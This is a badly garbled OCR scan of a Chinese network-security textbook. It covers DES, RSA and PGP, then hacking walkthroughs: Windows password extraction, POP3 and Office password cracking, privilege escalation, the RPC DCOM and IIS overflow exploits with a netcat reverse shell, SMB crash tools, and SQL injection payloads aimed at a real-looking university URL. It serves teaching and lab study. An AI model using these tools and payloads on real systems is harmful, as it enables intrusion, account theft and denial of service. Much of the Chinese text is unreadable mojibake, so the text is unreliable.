Ri =L ®f(R,K;,) (G=1,2,3-16) [P 5 7%

a5 — B AR M O 2B Lo Al Ro HO{H I ) ' y
HoORRNNEFieREFI [ Bn—MEH. Lo Ro
S GBS R, Ko R — e AR B e ep ; l
LR . £ KK S T A 44 | LeR.

5 A LaoRuo R TP {80300 8 e 8 74 ) i R M
T3 yo I L RE QNP 4-3 B -

M 4-3 T LU H  DES i 5 % 4 4 X Rt
s TP BRI 0 E R R LT E fnﬂ:.il.m'h:r:w:_;t

K S & TAEJEHE,
1. IPEHEMIP '\ FESiHmE B 4-3 DES m# 1%

B A 64 A B s e TP Rt T A & IR R o Lo JRo WP B 025 K
32 i L HE R TP Fetn € 4-1 s,

41 IPEHE
o8 o0 42 34 26 18 10 2 60 52 44 36 28 20 12 1
62 o4 46 38 30 22 14 6 64 o6 48 40 32 24 16 8
o7 49 41 33 29 17 9 1 59 o1 43 35 27 19 11 3
61 53 45 37 29 21 13 5 63 55 47 39 31 23 15 7

WA 64 (i BCRI0 S 58 BBV 1 6055 50 Lr4RF 5 2 fir . et e . S — (0 2 5
KBS 7 B, Lo Ro W He R 5 AO RIS - Lo 5 tH 02 32 1. Ro 2247 32 fiz. filtm.
BT AME N Dy Do Dy Dy 0 253 1) 0 B R 925 B W+ Lo = Dss Dsoe++ D s Ro = D
DD,

Zoit 16 WL PGB HIG . 15 5] Luo Ruo - K5 L AE 50 A L JIEAT 36 8 40 1D 75 0 5 S0 4 11
T 0 A (L 5 B L B 1 (3 A S b A 40 o7 T30 o 395 e
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e

% A Ak 69

OO EE 40 e B ES 1y, HOr e R TP 3R 4-2 FROR .
£42 FB#HEIP

40 8 48 16 56 24 64 32 39 7 47 15 55 23 63 31
38 6 46 14 54 22 62 30 37 5 45 13 53 21 61 29
36 4 44 12 52 20 60 28 35 3 43 11 51 19 59 27
34 2 42 10 50 18 58 26 33 1 41 9 49 17 57 25
2. RE fo
PREL F AW ADEIA : 32 V) Ri— M 48 Vi) K. f eRECHY AL B AR N K] 4-4 T
32{0R,;
E 15 i

481{iIK,

(82) (5) (B (8s) ) (So)
&324;{
P4
!
32137 5t

B 4-4 [ERBHLERE

TR WAr 3 E AR e i B N R Y 32 {7 i BE BRI 2057, ¥ AT 48 7. B E ¢ 32 i
e e 45y A8 AV AR L AR YIS E 7 PEHE R L ISR 4-3 FJTHM

43 ETHMID2 AT BE#HRA 48 i

K; 2B A A 48 5 & BRI E R M E ks RS K MArilaF. 15
Bl —A~ 48 fufih il 8 AL, B 6 . fE M 8N SEmA. B S &t 4 7,4k 32
.S &M TAEFEHSESS 4 B0 d . S &nvim AE N P AR 9% A P (19 D RE & Xy A ik
frid e P i R ank 4-4 o,

F4-4 PRI
16 7 20 21 29 12 28 17 1 15 23 26 o 18 31 10
2 8 24 14 32 27 3 9 19 13 30 6 22 11 1 25

3. FEH ki

AR b KR 64 i AHZ H % 8.16.24.32.40.48 .64 o7 FHE A7 184 46
L SEPR FRHAKE NS6 ., KB T i (BUEE R 1~16, /H 16 ek . ) 1 o
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AR ey K HAR

PR & 4-5 s .

B, MTRERNEY KW PC AL fe b7 47, 28 5 5 1Y 45 R 2 56 AL, i H:

64{ 'L % T T EEK

l

PC, 221t

1 5613

Fsm

Co Dy
LS, LS,
C, D,
p(_':;,ljéfﬁl —-—-1-8“‘“‘(!
1 !
LS: LSJ
(': "D'.‘
PCyE R = 48{i/K,
' !
LS‘Ih LSlh
[.‘“-, '.-"th
PC, R {l  —== 48{i[K 4
B4-5 FEALEM

ik CosJ5 28 ik Do PCy $EA7 T3S 4-5 FF 7R .

* 45 PCl1EfLFE

Ay 28

o7 49
10 2
63 599
14 6

41

59

47

61

33
ol
39
03

29
43
31

45

17
35
23
37

1
19
7
21

58
11
62
13

42
60
46
28

34
52
38
20

26

141

30
12

Fr—f: X Co fEA LS, 158 Ci X Do fEAR LS, 138 Dy X Cy Dy B PCy #5417
A1 H Ky Ho LSy 2 AR 8. Wk 4-6 s .

F4-6 LSHBAF

2 2

1

R 46 RS — A2 LS, W5 808 LS, DL . 2 B iY I F B Ay b7 w] A2 BS
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Shamir) FI{ENE « {85 & (Leonard Adleman) —iEHEH Y., M= ANARTER A B T



% 4% F T Ik 73
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Wity » B 8 IS0 $E 757 O 2 B 208 8 b

AR RA B RSA A I REG R S )y Nk . 2] 2008 4O 1k, 5 b b B A7 LA
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4.3.1 RSAEZREIE
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4.4.1 PGP E9r

TR H A H e 2 1) 75 —F 23R J& PGP(Pretty Good Privacy) . ‘B &4
TRRIM 2R S 1991 4E & B AT AER AT LU XA T H 8 B S ARV A & {5 B k4T
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Welcome lo the PGP 8 1 nstaller ‘We shongly iecommend
that you est all 'Windows programs before continung

Thank you for using ow products
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User Type
Please tell us f you have existing PGP Keynings you'd ke to use

Do you akeady have PGP keyings you would kke to use?

™ Yes, | dieady have kepings
® Mo, I'm a New Uset
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PR e T B PR e A, — AR HE B E TS n] LA 1 . “PGPdisk Volume Security”
I RE L/ 33 XM R ZE L PE; “PGPmail for Microsoft Outlook/Outlook Express”
Pt mp & Thag . aniEl 4-9 . LRSS an & 4-10 Frs w5 B B e s bLas .

Select Components
Choose the components Setup will install [a
Select the components you want to nstall, and clear the components you do not want to
install
PEPdigk Valume S ecunty - Description
PGPmail for ICQ T hiz component ncludes the
Kol PGPmail for Microsolt Outlook e e i
vlyd PGPmail for Microsoft Outlook Express ecuty.
[ ] PGPmail for Dualcamm Eudora
P PGPmail for GroupWise
Space Required on C 12120K
Space Available on C: 3037M20 K
< Back Next > Cancel
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PGP 8.1 install complete.

PGP 8.1 has been successhully mstalled Before you can use
the program, pou must restart your computer.

W Nes. | want to restart my computer now.
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i PGPkeys
File Edit View Keys Server Groups Help
A R A IF°L B -4 W

Trust Size Description

B 4-11 FEEH

PGP Eey Generataon Wizard r§|

Name and Email Assignment

Every key par must have a name associated with & The name and email addiess let
your cormespondents know that the public key they are using belongs to you

Full name: |ru1u|n |

By associating an email address with your key pan. you will enable PGP to assist your
comespondents in selecting the comect public key when communicating with you.

Email address: |ntlina1Ehehtu. edu. erf

KE-F®IFT-Ff® > | WK |
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PGP Eey Generation Wizard |‘§h|
Passphiase Assignmenl
Your private key will be protected by a passphrase |t is important that you keep thes
passphrase saciet and do not write it down.
Your passphrase should be at least B characters long and should contain
non-aiphabetic characters.
Hide Typing

Passplvase: |

Passphrase Quality.: (7 1
Confirmation | |
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1 key(s) selected
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6.7 Mg Al LH

6.7.1 FindPass 15 2| &I iR % 5

M PR AP E R ERSE N — P X3 2 . winlogon.
exe, A] DL FH A2 7 o8 24 58 5 FH P 1 25 9 A s ok L an1#] 6-14 Fir s,

B windows i £ 298 =IQ| X'
E &Eo FEY Wb
wREE HE | |

_RRER | m'l CWI cru BffE | AT |
System Idle P 0-04:55 16 K
Systenm 3 Ell] 0:00:17 Ziz K
SMSS. eXe 188 00 0:00:01 380 K
. 196 00 0:00:02 2,084
SErvices. exe 245 00 0:00:02 5,044 K
lzass axe 260 00 D:00:01 4 756 K
svchost. exe 452 00 0:00:00 2,168 K
spoolsy exe 484 00 0:00:00 3,1T6 K
medte, axe 516 00 0-00:00 3,292 K
tepsves. exe 8640 00 0:00:00 4,068 K
svchost. exe 656 00 0:00:00 3,408 K )
llssrv. exe 680 00 0:00:00 1,864 K
regsve, exe T28 00 0:00:00 884 K
MSTask, exe T44 00 0:00:00 1,880 K
termsrv. exe 868 00 0:00:00 2,004 K

Ve areService. & Boz 00 0:00:00 2,268 K
Wins. exs 948 00 0:00:01 2,940 K :1
NErrsea ana aTe nin - P - P - S
 SRFAERPHHE Q) gEsEe |

B 26 cPU BB 4% ATF@A: 73132k [ 310924

E 6-14 FHEHEE winlogon B F

i H FindPass S5 T H Al DLz 0k B 2847 i 6% S8 )5 R =5 5 P /9 %5 60 S 7 Ok
& 6-15 frn R P RIGES HH 9 R =1 —.

L \WINNT\ System32), Lcmid.exe ___L_ﬂ_l_)g
Al

C:\>FindPass .exe
i

To Find Password in the Winlogon process
Usage: FindPass.exe DomainMame UserMame PlID-of-WinLogon

The debug privilege has bheen added to PasswordReminder.

The WinLogon process id is 192 (Gx808000cH>.

To find HACKERNadministrator password in process 192 ...

The encoded password is found at 0xP89a@880 and has a length of 6.
The logon information is: |HACKER/administrator/123456.
The hash byte is: Bx60.

FHE /BRE e
C: o,
Jl | LIJ,.«;

& 6-15 FindPass TH

6.7.2 GetNTUser fEfAZ R 21T

il 6.5 5 AU #13CPF A 6.5 T Y T EAF GetNT User #KOR AT LUK & B 01 %8
RSB Jifk 2R - S0 DR B0 B 2 RO M A IR S5 3 AT LARR A K . 4l 6-16 Firais
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f: XA5M - GetNTUser =13
¥H#© #Ew ITAQ #®Bhow
axeseltazs 0000000
Host List
g EAPTETRE
g IREIETEL
bream e e Name _i User ID _I.Pusword ]_!'l_t;s _I Full Name
ﬁ TsInter... 1000 66081 TeInternetl
B E Guest 501 66083
M€ Adninic .. 500 123 86049
e
< >
FHIMFE Adninistrator: al0215
B 6-16 GetNTUser Aifi A P& 15

6.7.3 FENWFEEFEE

IS A 11 2 A — M B R 8 LA b AW 7 A LAT AR o B . T E T A

H S RUT B T GO o SR IR B AR KA o — R T AR A+ R T HE A FH A 1Bk IR AR
WY

B A 2R m B0 () I e L FE BR LR L T R L 2 A IR E R L.
DRI R X — PP AR FRIR A9 Tk o 0 SRR B8O 75 14 - 50 T LACKE I ] 45 2 300 ~702%
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R —POP3 WE A% 2 I as - lb R e i RRAS & 2. 3. 1. F R man & 6-17 fr s .
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v ERNFHER
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™ 1"88%_ 0%, = /a0 _ {1
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F

TR
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1

s 3l

abe ;
v
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|1 ocalhost

E 110

2 |
Pop3PE& Pop3EER L ‘

b — m N P 3
& FEETR o

FEEE
SrmuE O | X

kechang@elong.com Hitp Vindel333net | EMATHEFEY SEZERT. 55, BN

B 6-18 EFEFHIH

7E“Pop3 Hutik” B A MRS HuhE A0 6-19 B . b 2k Bl B M0 AS 00 IF Bt . 1
“Pop3 M1 4" e AN P 4 ot &/ E B A M P4 nE 6-20 s, ) g
B X I 2 G0k TF HA T AR MR AR R A i — B et 1) R LA e SR A 3 L S A Y
fis, I 6-21 R . EARME L BIES 8 0 st —+

- BE—POPIERTHENE 2. 0.
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help

WARTEZRE SstEZEesnd. 55 . B
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6.7.4 FNWHBERGZH

VFZ AR B N 9 DORE . Le i Office SCRY . Winzip SCRY AT Winrar SO 5555, X4t
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- BR—POPIERELUENE 2.3 _
CRRTER 978 [HmTn (%9 [ roroibit

[V 012...88 [ abe...yz [ ABC...YZ
[ 1" _ Ot~/ <=\ _ ()™
r BEFHR  FRIH:

| TR
EATIE S '.J
E sz o a
: I! it I !' - -
ﬁ " E"ﬁ POP..
Pop3tlil - Pop3im: | FPERETFE? ¢
pop. 163, com |y [110 2|
PopdP & PopdEl MK |
Tﬂ.f_‘r:r}é’:‘._ ¥¢¢o -t ettty esezasl

I O | XiRd[belr
kechang@elong com Mtip//indelS33net [ EMA T MR EFONERAE. 5E, Em!

Ee6-20 MAEHZE

- EE—POPINHREMNEND 2. 5.

C ERFEE:
Vv 012. .89 [ abe ..yz | ABC. . .YZ
[T 1"#8% 0%+, - /. Emal\l"_ 1™

B 6-21 fEf# tH Sk B BD 46 2 55

AT H A T B4 . Advanced Office XP Password Recovery n] DL 3 i i Word 3¢
RS, A& 6-22 Fras . BUAE(E AT A9 S I iR Y, B LU i i 2 0 — 7 1Y

i F B2 T 2 A% 1 Open File . §T FFE . 1) Word SCFY . B IF 4T FF B )5 & 7E Log
Window B/ lIITHRIHE B I BB M KEEM 20, & K& =0, i THEIG
9 B R » JT UG T i 25 0 RZY R 5 » S gk mle i 1 & 6-23 fron. HARE 2P IRIG 2
B9 IR,

6.7.5 EBEBPRAANBHRAR

A1 A B K T %A S HO R P S — N R T S A R A T
SRR R P 8 SR T DR T H GetAdmin. exe 6 11 2001545 7 51 41 5 % 3
e — A A B R A P
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wD:\Program Files\AOEPPR\Docl. xpr [ | |')(
File Recovery Internet VBA Backdoor Language Help

- UEHABAQ@ QCoH T 00§

FieNome _ _ ) - Type of attack
C-\Document: and Sefting:\Admruzbated\JR 00 \Docl doc | gﬁ:m ‘:&hﬂm ) Dichonary sitack

‘Briteforce | Dictionary | Autc-save | Options  Benchmark = System Info
Prute-joice ophiond

Faziwoaid length options Britedorce range ophione
[+ = v i
Minmallength (1 (2] - A{I mr:lahle ] Custom charset &
Masimal length 3 E] Starting password: | ‘¢
Mask: | ‘¢
Cunient pagsword Current spesd
Log window
Dale, Time Event A

&) 2014212114112 Recogriang fle format

5 Ma212114112 Selectad file & & Microsoh Word Document or Temglate
3 2ma-21211:4112 Microsolt Word Version: 87, 2000 or 2002 (XP)

L) 04212114113 File Doc1 doc successfull opened

I 1

Progress indicator 0% 144
Mdvanced Dffice XF Fassword Recovery Professional wersion 2 €0 Copyright 219992003 ElesnSeft Co Ltd

B 6-22 WENXHEEBNE

Password successfully recovered |

Password Recovery Statistics:

Total passwords ™

Total time 6E69ms

Average spead |passwords per second] | 586950

Password for thiz file que (d
Password in HEX [unicode) 7100 7700 6500 3

[T Save in unicode
oK H Save .

B 6-23 MR HEMNTS

A Hacker Ik F &g R4 1 KRG T AT T GetAdmin. exe. 2 7 H s BT A H
P32 FEXSTEAE B 34 Al New . EET A B EN S HAHAMNHP & A — 1T H P
% IAMHacker, I 6-24 frzn ., ARG 8 F 5 O AR OK, HELES IR D pg & 1, 1| 6-25
FIF 7 .

| Windowns NT 2K Privilege Brealkoer— by St -._Ej | Windowns NT 2K Privilege Bivaker— by Sk -.‘E]
~Select user (s) wvho u wnat to add inte Adninistrators grouwp, —— —Select user(s) vho u wnat to add inte Adninistrators gromp, ——
;{“ﬁiu Create a new user into Administrators Groug Fev ?ﬁiﬂﬁ[ﬁm —>t l Her
TV REE G GetAdmin
Telnter  |gei Name IMHHll:kEI Telnternetls, _—
Hacker Hacker Exakation Successtully!
or I Eancel I Faw Please relogon with the user(s) name!! Paw
Run program in system privilege: Run program it L
e || Bun | | B |
About | x| Guit | About | x| guit |

E 6-24 FHERAR B 6-25 FHERPRAI
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A A P, i IAMHacker Bk, B S, B EE A HC A2
Administrators. . J& THEHPH T . FEHPHACME Y. T -1 EHAKS, REYH -
R il AL Aok o] LIRS B 2 H PRy Al R . BAR{E 2P BRIG = %5 9 528 — 1Y,

6.8 ZZoh X ik i il Yk
6.8.1 ZEHXiEHIEH

Z DX di R AR 2RI ) 2 v XN SR R RO 6 RO a1 S h XA By i A T i
RO 7 s e S 1 s e BRSOl . B S0 A 10 IKOBE » it HL 5 A e i i A8 1
Zp XK EERY 74T o H2 48 K 2 B0 1 Al 2 (B e 208k 1< B2 S 02 5 B 0 FE 19 1 A =5[] Af DL
AC 309 2 i DX T R R BRUR . SRR R GERT (T B9 2% v X RERR O HERR L AE 25 R
DERE Z (0] 36 2 2 B B A e HERR " S b HERR T B G o X i o 2R i X i HE i H
PRARG IR BB 0 Sl X i S R R e e A — R T

1 AR P Y 2 b X b R BEAY N A 8 AR R XY DT R R T Y HE AR
(o % P A Ty AT oA 38 2 . DL 20 e 9 HAY . 33X 0 50 X F R SR He B o (B 2 B 19 1
FEAD AR R TR, X R b X d A0 D TR AR e R B AR A P R A RIS BN i
BT -

void function(char # str) {
char buffer[16]; strcpy(buffer, str);

}

b strepy O B3 str P g N2 copy F buffer . X R str (WK EE KT
16,52 i ¥ buffer M #%: ) (ERE P 1217 RS . FEAEAR strepy XA 1Y [0] @ i) A 1 BRI ZE A
strecat() .sprintf ) ,vsprintf() .gets() . scanf() 5§,

Ze v DX 3+ i 2Z2 B DA SR — i L Y 4 4 et T B OHL It DA T 82 i X e TR TR RS
S S B 07 b 5/ T (110 = NP5 R L RS 3 71 Wy VI B s T S - = W5 S B o 5 SR L L PR R VR
25 7 1 Bk F AR A TF BT BCECS PL 2 . #RE A8 S0 4GS DL — € iR R 12 174 2% i
X Y I B AR - DA A5 21 8 oty S ML e 4 il A

6.8.2 FA RPCRAZIIEBEHRF

e 2 1 FE U H RPC(Remote Procedure Call) . =2 #:4E 24 09— iH B AL I EE , 70T W
FHFE PP FF i [ 28 F gL, YR GEA sy, | shiinzk RPC ik 5 . mlLATE ik 55 91 & b
HRE ARG RPC k5, WA 6-26 Frs .,

RPC % H I il 520472 F 48 T . R T H scanms. exe SC/FK I RPC J iR . i2 17 7F
AT FHIRA TS & 1P HuhE{E R N PLE 2 5 B %% 14 TR P, IR L4 T #2
7% 1P M hb sk & Bos L VVLN ]t 6-27 frs .

R ILATE M 2 A RPC i H I . 560l L attack. exe XF H #x E17 WL 48 25 17 %8 H 14
& 3P P 4 /%K . qingl0/qingl0 B9 T 55, IR B X i RPC RS .
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=10 x|
Bt FXY |« = B R OB 2| » =1 =
# | B | ik | | Bahsl | BERa86 | -
B, IRE(#) %laNetwork DDE DSDM EEFES D0E RIS F&h LocalSystem
BANT LM Security Support Provider AEAENNS MR, B3 Fih LocalSystem
&R NUTCRACKER Service Supports NUTCRACKER a... BBz B oL
% Performance Logs and Alerts AcE R HENESR. ¥z LocalSystem
HoPcPsdiservice Manages public key oper EBzh Bab LocalSystem
& Plug and Play EREETHLREE.. CBEs B LocalSystem
“aPrint Spooler R_REAnEsnFPLL. EBEBsh B3 LocalSystem
“&)Ffl.ltt".{t'd Storage 1R R ISR, . EBsh Bab LocalSystem
83 QoS RSYP AEMRRIES(Q0S). .. *zh LocalSystem
%F‘eﬂn:e Access Auto Connection Manager TR L E-T-18. XExh LocalSystem
% Remote Access Connection Manager 5 PlE I . EBzh F=Eh LocalSystem
2R emote Procedure Call (RPC) 1R reRes L ERRAIRFE (e,.. Bzh LocalSystem
% Remote Procedure Call (RPC) Locatar B RPC SRS, .. £E LocalSystem
4Ry Remote Registry Service frFintEiE HEER{E. EBzh Bzh LocalSystem =
88 Removable Storage BENENRE. Wb, C.Bsh Bah LocalSystem
%L.outn; and Remote Access TE Rt | 55 et f3F ot 433 LocalSystem
fRaRunas Service EFFERTEMS:.. £B® B3 LocalSystem
& Security Accounts Manager FREEHAH P PROE. EBzh B3 LocalSystem
8ty Server REBERPCER. T, ... CBEzh Bah LocalSystem
%8 Service Support Windows Service Support EBar Bah LocalSystem
d.f!':'.l Simple Mail Transport Protocol (SMTRE) I = a0 1 EBzh B LocalSystem :j

B 6-26 RZGRIARSS TR

o\ C:\ WINNT\ System32\crnd.exe

) RERERE.
e R L

c:\ WER

2014-81-21 89:26 <DIR> FOUND . 8808
2002-18-19 94:45 {DIR> WINNT
2082-18-19 ©4:58 {DIR> Documents and Settings
2002-18-19 ©#4:51 <{DIR> Program Files
2082-16-19 85:81 <DIR> Inetpub
2014-82-12 16:01 61.448 scanms.exe

1 j\}t 61,440

F1
5§ MER  3.008.778,.240 %mif‘-’ﬁ

192.168.1.5

Tool (c) 28083 Internet Security Systems ——
Scans for systems vulnerable to MSA3-826 vuln
More accurate for WinXP/Win2k, less accurate for WinNT
ISS provides no warrantees for any purpose
Use at own risk. Runs best from WinXP.
IP Address REMACT SYSACT DCOM Uersion

192.168.1.5 [UULN] [UULN]l 5.6

HAS

& 6-27 & RPC iFiRE

B P 9 H P 48 RN RS R 2 qing 10, 53X A 0 AT PLE SR X)) i3 0L 1. RPC IR 55 15
1L PR RGO AV Z DI REARE T - HF % 2 5 908 I 51 & B (] T2 4K F OpenRpcSs.
exe H 43 X J5 HJH RPC Il 55 . Boili 9 A F i 151 6-28 B o ARG JH 20 3R 2 % 5 9 75 5
-'n.l';’_:—|_£::
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= [:\,WIMT\Syst\m'id.uE

C:“Jattack 192.168.1.5

— Remote DCOM RPC Buffer Overflow Exploit
— Original code by FlashSky and Benjurry

Rewritten by gingl®1® {(http://www.ercist.com.cn’
- modified by qingl®1BPercist.iscas.ac.cn

C: "Onetuse “\\192.168.1.5\ipc$ qinglB@ suser:qinglB

ﬁﬁﬂﬂﬂrﬁmmg SINERY, WARASTHIEF

:onet use SN\192.168.1.5N\ipc% gingl® Afuser:ginglB

ﬁré"}ﬁ%xm

C:“Yopenrpcss “N192_168.1.5

Remote RpeSs Configure,. by gingl@818

Email: gingl#1BPercist.iscas.ac.cn

openrpcss

Usage :OpenRpcSs .exe \\server

Connecting ~\192.168.1.5...Canncel Successfully!

Successfullyt
Starting Remote Procedure Call (RPC) service...

Remote Procedure Call (RPC)> service is started successfully?

Remote Procedure Call (RPC) service is r»unning!?

Disconnecting server...Successfully?

N2

E 6-28 FIA RPCRBAELAR

6.8.3 FANSHEHITHE

1. snake fl nc TERNE—FAHE
A 1I1S(Internet Information Server) ¥ it 47 X5, ) FH B4 Snake 11S ¥ ) 1. Hoa]
PLIEXT 7 iy 10S Y6 6 n] DLAR 2B R AT 096 2 FNAE XS T i F 8L b T B s 1

i 4n &l 6

N —

29 Pr7w o
- Snake 115 & i T A(v2.0 Build 00013) = 0] x|
iE Gt B X
o 280127 0.0 1] Port: |60 et
ID
BIER R _ —
IISSP X Winlk Sp0 Eiﬁiﬂﬁ _
I135$,__'|'r' nZk Spl (" BEth/s, EZhiERMDITIP/Fort
ISSE W ¥inlk Sp2
TISS English Win2k Sp0 L |
ITSS English YinZk Spl ma \
—-TIS5 English Yin2k Sp2 WO |
IISS Japanese Winlk Spl . —-— A -+
IIS5 Japanese WinZk '\]-1 ¢ wifes, E—TmOEYR @)
==TIS55 Japanese WinZlk S5p2 Mgy 3 |ﬁ:-_.~r
ITSS Mexieo Winlk Eﬂﬁ'lﬁl:lﬁ
——IIS5 Mexico WinZk spl s
==1IS5 Mexico WinZk =p? EMENSS
[n:rni. exe /e dir e\
SnakeBOITSEE T B, (FEESRORLTEH, B, —UEE, BoaifFoknE 1
=== by snake (http. //snakelZ topZB3. net)

6-29 Snake IISTEFH W

R F 5
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HHIA %% 425 KRR

RIS T A R R B B E R 4¢

17 s HY I R T Y 3 7R AE L 3xX 7 B

b anxf 192, 168. 1. 5 A7 iy A L340 T2
Y Wl SE e TR TFRE—AS 813 g I FRAEXS i EAHL AT a2 “dir c:\7. MG IDQ
813 ¥ F & JFs . A T B AT ne. exe & #23)
Zum 0 L B2 H s TR A &% 6 DOS 654 “dir c:\7 . [ A iE T Z . ne exe -vv 172, 18.

25.109 813, Hrp-vv B R FAI S 50,813 & Hrum 1 . v] LLE B4y 2 19 $h 47 45

2. snake fince TEPE_FAS

T A ne. exe fil snake T HW A IN—FHEG AR HIHENL., BEFH nc. exe 4
AW ALY 813 w0, AR TE R ne -1 -p 813, PUTH R WA 6-30 Fram., X

A HORX A — BRI

CIC\WINNT System32\emd.exe - nc -l -p B13

IC:\>nc -1 -p 813

& 6-30

Ja # T A3 snake. 55 A 2 X 1Y

O WINNT System 32 condoeste - ne <l -p 813

C:\>nc -1 -p 813

WzhiE ¢ PRIBEHITE.

HHIF5S £ BYSF-6669

c:\ HIE H
2002-10-19 04:45 <DIR>
2002-10-19 04:50 <DIR>
2002-10-19 04:51 <DIR>
2002-10-19 05:01 <DIR>
2003-11-04 21:31 <DIR>
2003-11-04 21:32 <DIR>
2003-11-04 21:35 <DIR>
2003-11-09 18:30 155,
2003-11-06 10:40 2.
2003-11-10 15:30 65,
2003-11-10 15:50 65,
1999-12-20 2358 55,
2002-85-25 22:34 1S,
2002-05-25 01:15 18,
2003-11-04 21:52 <DIR>
2003-11-84 21:51 <DIR>

T 14 450
9 ~HF 2,269,294,

-

‘|

13 W 7% 3 4w O

1P Hbhb F1AHL A 1P Hb bk, v 52 813, % B 4L
fa i IDQ % H 7 & ne a4 1 DOS HE. fEiZ 5 m T . & $uT 1 i & i) DOS 1y
Ao B T HENLA C 88 H g H ok nE 6-31 Frs . R A v . 4% Curl+C B,

WINNT

Documents and Settings

Program Files

Inetpub

passdump

Pass

HyperSnap-DX 4
711 proj3_14.exe
780 findpass.exe
600 UDP_Server.exe
600 TCP_Server.exe
296 pulist. exe
872 GetAdmin.exe
944 starAPI.dll
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6.9  HoAtm iR X i

6.9.1 SMB HHINEH

SMB(Session Message Block, 2% 1H B e 1) X i i NetBios 3¢ LanManager P,
T AW EALZ 6] SCF ATERPL & 0 FE AR iy 2= DL A Windows - & 1 $2 {1 7E £
FTERHLAY HE=E

SMB WY IRAF R £ #f . — i Windows 2000, Windows 2003 F1 Windows XP fifi JH 19
B NTLM 0. 12 4,

A ZE AT LA e T 4% 5 T a4 X8 i m] LR BCE At P el A 2 i E VLR E H #
) SMB 21541 . S8 5 | SMB £ 540 85 g X 7 8 AL. FH SMB W 31X i #8:E &
Gt 72 58 HOpT )5 ) B0E W R

{09 T 24k & . SMBdie V1. 0 3Z 84X 4T 1 SP3.SP4 (1A ALK IR A %L . 25147
LT SMB A0 T 3449 = A anE 6-32 frs . BRI SH 5 9 Ll —+ k.

SMBdie v0.1 . x|

‘What 1z SMBdie ? Computer [IP address)
I's a proof of concept tool

@ s it possible to crash Windows computers by 192168811 | Kil I
gending a specially crafted SMB request, NETBIDS name
‘What computers are vulnerable 7 win2k-server 4
Windows NT/2k/ %P/ NET RC1 with NETBIOS
enabled Status
Author [Winsock inttigkzed.
zamob:3@personalio

Call o amms - Information anarchy
hitto. /2w nimie.ota/InfoAnarchyAnfolnarchy him

El 6-32 SMB 5im|m

W Y i TR WA S50 XY TP bk A% B =ML L O 5 A I R I,
FHL 4 i3 FindPass 3815, 8% 5 a4 a1 Kiall, 5B 2 80 A %A 1R 0016, 1801
W5 37 2 IS B B AR R L 100 %6 WG A9 ENL WA B SR AN 1R 6-33 BT R .

6.9.2 FAITENRIEINEH

AT ER iR AT LAFE B AR 09TH ML B3 — A~ B S8 A AR P . Zad ik, %
Wil 7E SP2.SP3 UL} SP4 WA FARSRFFAE AR JE A RELRIE 100 0 AR BTN .

i T HBAF . eniis. exe. #9548 X JE . oniis 192. 168, 1.5 0. 55— 2502 H bx
1 1P shk 58 —ZHOE HIRRERZ AN T 5 B8 192, 168, 1. 5 WA T4 T . X B 5l /&
0. & ifil cniis. exe SCFF] C MR H % PUATEF W&l 6-34 Fron. gt al LAEE S . HAKA
2P BRE S5 5 9 558 — 1+ /\.
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() Windows 2000 Advanced Server - [Ctrl-Alt-F1] - V™ware Workstation =11 x
File Edit Power Snapshot VYiew Windows Help
— Y | H snapshet | mEX A~

Windows 2000 Advanced Server

#xx STOP: Bx000000 LE thCﬂHﬂHHﬂﬁ Bx 80488188 . Bx0000000 1 . AxPOTEON6S )
KMODE_EXCEPT ION_NOT_HAND

#=% fAddress GBABEI8E base at SI0000N, DateStanp 38949k17T - ntoskrnl .exe

Degi ing dump of phusical menmory
Dunp nq rhusical memoru to disk: i

o=l

B 6-33 IWEHRERF

Z28Z2-18-19% H WINNT
2082-18-19 i Documentz and Bettings
Progran Files
Inetpub
61.448 scanns.exe
32,768 attack.exe
16:33 32,768 OpenRpcSs.exe
11:45 31.512 cniis.exe
4 P 158,488 FT)
s M"EF 2.998.697.984 T HFED

C:s»cniis 192.168.1.5 @
SP type: A
Shellcode sended!?

If success.the target bhost will add a Admin User named hax.its passwd is hax.
Good luck???

C:VOnet use \192.168.1.5%ipcs hax suser:hax

oI TR

0z

B 6-34 F AT IRRE

6.10 SQL 7 A X+

- )

FITiE SQL A L gt 28 i 8 SQL Ay 24 A F] Web & 533 22 i 5y A el 42 5% 01 1 i K 19
1) T4, B R B0 R 55 a2 P T B SQL w4 19 H Y, He i JE B 19 1R £ 52 90 I 3
iMees VIP 2 G B K292 #ad Web 2B A i) /47 2 iy, X KRB R S % 3
SQL # ARt .

6.10.1 HEAXAFEIE

SQL 1 A Mt 45 i A 1 1o 44 257 5K 09 S AAE 8 Z 808 A Web W2 7, 12X 28 5 A
KAR & SQL ik By —2L 20 &, il AT SQL i A) 1 P T X 3 B 2 i 4, H 32 2 gt
PR 2 A2 5 V50 A0 B0 1 8 FH P S A i e S U AR R B IR A RS .

Rl N AR E

TS 3l 79 5 SR BGIE Y SQL A A R .
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strSQL = "SELECT % FROM users WHERE (name = '" + userName + "') and (pw = '" + passWord + "');"

W% A userName = "1'OR '1'='1"; 5 passWord = "1'OR '1'="1"; [}, ¥ S BUH A (1) SQL F4F &

3 H

strSQL = "SELECT % FROM users WHERE (name = '1'OR '1'='1') and (pw = '1'OR '1'="'1");"

e S b iz 17 19 SQL 4 2 278 il T X #F 1Y, strSQLL. = "SELECT % FROM
users;

AL MG 3] E 5 3 0, R el B S b 9 B 1. BT SQL A MG B AR PN BRI I 2
Ui R o

MR A TR JE I, SQL AR LA SR EAFCSZEA . BTE B AL 2 1%L
#hi J2E C B R e T 5 0 e TR B B0 e e TR OO e AR 2R AT A B A 98 .
maAr VAR R Al . BT . SQL AR = A Rl R M AL FJLimm: OAY
MR OAL2NEIEERE; OGN AIELIE; OA LG IRAHE; O
NFMEAGIH; ORI AY.

6.10.2 ERENFZE

1. FiE—
JoHE AR

And (Select count( * ) from #45)<>0
IRAER

And (Select count (%144 ) from 44 )<> 0

and exists (select * from 345 )
and exists (select %144 from 3 44 )

B[] TEWR Y 825 1) 2% 24 804 44 50 2 TR A 1Y

X B E A S s exists ANREW HH FTIF N2 I, 0 and exists (select len (user) from
admin) >3 X ZENTHY .

RE AR E WA AR E BN . — B IS %A & A 4R 2R . 8 4 5t vl A A
B IR B AN AR A5 2 A B T Y N DT AR A B e R R P 4

;and user > 0.

HZ W25 - AgCSQL {3 A K4 ), Hor iR 2], 4 S da A X RE 19 b dil- -

http://jsjy. hebtu. edu. cn/shownews save.asp?id = 2858; and user > 0

1F 1IS iR & #5832 7- 1% ) . 31 H SQL Server 1% M 1R 2R B O 0] DL H 32 M H S
AR B RG AR EIE R .

"X ) AR B AHAIG F 1 SQL Server $FA A LM RE IR A C WS AE—IX G
T 5 v e B AR R AR M A A i . 1R IRNTTORE B E M & L E5E . 5 1Y A
